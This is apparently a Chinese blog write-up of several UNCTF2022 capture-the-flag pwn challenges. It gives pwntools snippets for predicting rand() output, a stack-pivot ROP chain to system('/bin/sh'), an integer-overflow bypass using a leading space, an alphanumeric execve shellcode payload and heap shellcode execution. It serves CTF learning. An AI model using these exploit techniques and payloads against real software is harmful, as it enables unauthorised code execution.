welcomeUNCTF2022
nc好耶,直接输入UNCTF&2022
即可
石头剪刀布
一道经典的伪随机数题
sla('(y/n)\n','y')
libc.srand(0xa)
rand = ['0','0','1','1','2','1','1','0','1','1','1','1','2','2','1','0','2','0','1','2','2','0','0','0','0','1','0','0','0','2','2','1','2','0','1','2','2','0','2','1','0','1','0','1','2','0','0','0','2','2','1','2','1','0','1','0','2','2','1','1','0','0','1','0','1','1','1','1','0','2','1','2','1','2','2','0','1','1','1','2','2','0','2','0','2','2','1','2','0','2','2','1','0','0','0','0','2','0','0','1']
for i in range(100):
#num = str(libc.rand() %3)
p.sendlineafter('\x1b\x5b\x30\x6d\x0a', rand[i])
'''
在线c跑一下,但和题目出的不同,下面是在线c上优化过的
还是直接在ubuntu下写和跑比较好
#include <stdio.h>
#include <stdlib.h>
int main()
{
int n, b;
srand(0xAu);
for (size_t i = 1; i <= 100; ++i)
{
b = rand() % 3 -1;
if (b<0){
b = 2;
}
printf("%d\n", b);
}
system("pause");
return 0;
}
'''
itr()
move your heart
首先伪随机数很好获取,绕过后到back(),获取了stack地址
sla('num:\n','286129175')
ru('gift:')
stack = int(p.recv(14),16)
li(hex(stack))
首先第一点就是back()里的read就是向stack地址输入的
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret)
dbg()
p.sendline(pl)
直接栈迁移到pl的前一栈帧处,然后执行
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
rdi = 0x00000000004013d3
leave_ret = 0x00000000004012d6
sla('num:\n','286129175')
ru('gift:')
stack = int(p.recv(14),16)
li(hex(stack))
main = 0x4012D8
back = 0x40129B
read = 0x4012BA
system = 0x4010D4
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret)
dbg()
p.sendline(pl)
checkin
一上来就看到了有个整形溢出漏洞
但不同于之前可以直接输入负值,这里输入后会程序会退出
题做少了,没碰见过利用空格绕过的整数溢出
不熟悉还没找着关于整形溢出+空格绕过的详解,就自己动调一下吧
先分别将'-1'
和' -1'
送入,再执行到atoi看看
空格的十六进制转义字符是\x20,而减号'-'的十六进制转义字符是\x2d,十进制上也就是45,会被check
BYTE PTR 表示[DI]处一个字节,指明了指令访问的内存单元是一个字节单元
这就是为什么可以利用空格绕过cmp al,0x2d
回头看才发现n久之前好像碰到过这种空格绕过,都忘了..
看了其他师傅的wp才发现这里有个一个隐藏的后门,整形溢出后来覆盖到这里就行了,或者常规的ret2libc也行
pl = b'shu'
p.sendlineafter('name: \n',pl)
pl = b' -1'
p.sendlineafter('Please input size: \n',pl)
pl = b'a'*0x58+p64(0x400866)
dbg()
p.sendline(pl)
int_0x80
比较麻烦的是这里:
(*(__ctype_b_loc)()) 返回的是一个int数组key为ask码值位一个特殊的数字
两个结果取 &
程序会开辟一块权限全开的地址,很适合用来写执行shellcode
推荐一下这篇文章:手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南
alpha3:
输入文件为shellcode
,rsi
是用于编码的寄存器(shellcode基址)
sc = shellcraft.sh() #alpha3默认生成的x64的sys_execve("/bin/sh",0,0)
print(asm(sc))
sc1 = AE64().encode(asm(shellcraft.sh()),'rsi') #AE64
sc2 = b'Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.sendlineafter("hello pwn\n",sc2)
#dbg()
itr()
fakehero
add:
delete:
还能在init函数里面看见程序会开辟一块0x1000大小的全权限空间
看到一个师傅很巧妙的打法,控制寄存器利用memcpy函数将shellcode送入全权限的heap地址来执行
add(9,255,shell)
9
用来抬栈到heap地址、255
最终作为长度送入rdx
但在ubnutu20下是打不下来的,会报错
shell = asm(shellcraft.sh())
print(shell)
add(9,255)
dbg()
sla('Content: \n',shell)
choice(3)
换到16通了
标签:p64,int,dbg,UNCTF2022,pwn,shellcode,stack,pl From: https://www.cnblogs.com/shuzM/p/16916464.html